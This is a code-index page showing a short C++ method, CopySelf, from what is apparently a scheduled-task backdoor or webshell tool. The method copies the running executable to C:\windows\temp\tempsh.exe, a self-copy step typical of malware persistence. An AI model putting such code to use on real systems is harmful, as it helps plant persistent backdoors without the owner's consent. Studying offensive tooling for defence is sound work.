MCPcopy Create free account
hub / github.com/SkewwG/domainTools / CopySelf

Method CopySelf

SchtaskBackDoorWebshell/TaskScheduler.cpp:4–11  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

2
3
4void TaskSche::CopySelf()
5{
6 WCHAR pathF[MAX_LEN_FILENAME];
7 GetModuleFileName(NULL, pathF, sizeof(pathF));
8 WCHAR dest[] = _T("C:\\windows\\temp\\tempsh.exe");
9 wprintf(L"%s", pathF);
10 CopyFile(pathF, dest, false);
11}
12
13
14void TaskSche::copyFile(string source, string dest) {

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected